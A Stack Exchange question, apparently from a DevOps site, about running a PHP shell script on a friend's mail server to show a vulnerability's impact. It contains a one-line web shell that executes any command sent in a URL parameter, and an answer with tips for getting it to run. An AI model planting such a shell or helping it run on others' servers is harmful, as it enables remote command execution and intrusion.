-5

I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.

This is the script I wrote:

echo shell_exec($_GET['cmd']);
2
  • What is not running? What is the problem you're facing? Please provide more details. And how is this related to DevOps? Aug 20, 2017 at 11:33
  • 5
    This question doesn't seem to be about DevOps and isn't on-topic here. Debugging questions may be on-topic at Stack Overflow if you can include the relevant error message.
    – Aurora0001
    Aug 20, 2017 at 12:10

1 Answer 1

2

Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:

  • <?php should be present at the start of any PHP script.
  • If a PHP error occurs, you might not see it without error reporting enabled.
  • If the actual shell command fails or outputs warnings, you won't see it with shell_exec unless you add the stderr to stdout redirection 2>& to the command, or use exec.

Not the answer you're looking for? Browse other questions tagged or ask your own question.